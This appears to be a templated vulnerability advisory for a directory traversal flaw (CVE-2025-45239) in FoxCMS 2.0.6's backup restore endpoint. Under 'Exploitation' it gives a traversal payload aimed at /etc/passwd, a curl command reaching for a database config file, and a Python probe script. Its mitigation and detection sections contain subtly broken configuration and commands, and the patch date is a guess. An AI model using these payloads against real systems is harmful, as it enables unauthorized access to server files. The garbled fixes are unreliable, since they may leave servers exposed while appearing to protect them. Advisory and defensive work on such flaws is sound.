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How the CVE Works:
CVE-2025-45239 exploits a flaw in the `restores` method within `DataBackup.php` in FoxCMS v2.0.6. Attackers manipulate file paths via directory traversal sequences (e.g., ../../) to access arbitrary files outside the restricted backup directory. This occurs due to insufficient sanitization of user-supplied input during file restoration, enabling unauthorized read/write operations. The CVSS 4.0 score reflects critical severity due to low attack complexity and high impact on confidentiality/integrity.
DailyCVE Form:
Platform: FoxCMS
Version: 2.0.6
Vulnerability: Directory Traversal
Severity: Critical
Date: 2025-06-12
Prediction: Patch by 2025-07-20
What Undercode Say:
Exploitation:
1. Payload Example:
POST /backup/restore HTTP/1.1 Host: target.com Content-Type: multipart/form-data --BOUNDARY Content-Disposition: form-data; name="file"; filename="../../etc/passwd"
2. Manual Test Command:
curl -X POST -F "[email protected];filename=../../../conf/db.php" http://target.com/backup/restore
Mitigation:
1. Input Sanitization:
$filename = basename($_FILES['file']['name']); // Strip path traversal
2. Web Server Rule (Apache):
<Location "/backup/restore"> SecFilterRemove ../ </Location>
3. Patch Verification:
grep -r "restores.basename" /var/www/foxcms/
4. Log Monitoring:
tail -f /var/log/apache2/access.log | grep "../"
5. Temporary Workaround:
location ~ /backup/ {
deny all; Disable endpoint until patch
}
Detection Script (Python):
import requests
payload = {"file": ("../../etc/passwd", "exploit")}
response = requests.post("http://target.com/backup/restore", files=payload)
if "root:x:" in response.text:
print("[!] Vulnerable to CVE-2025-45239")
Post-Exploit Analysis:
Check for modified files: find /var/www/foxcms -mtime -1 -ls
References:
- MITRE CVE-2025-45239
- FoxCMS Changelog (Post-Patch)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
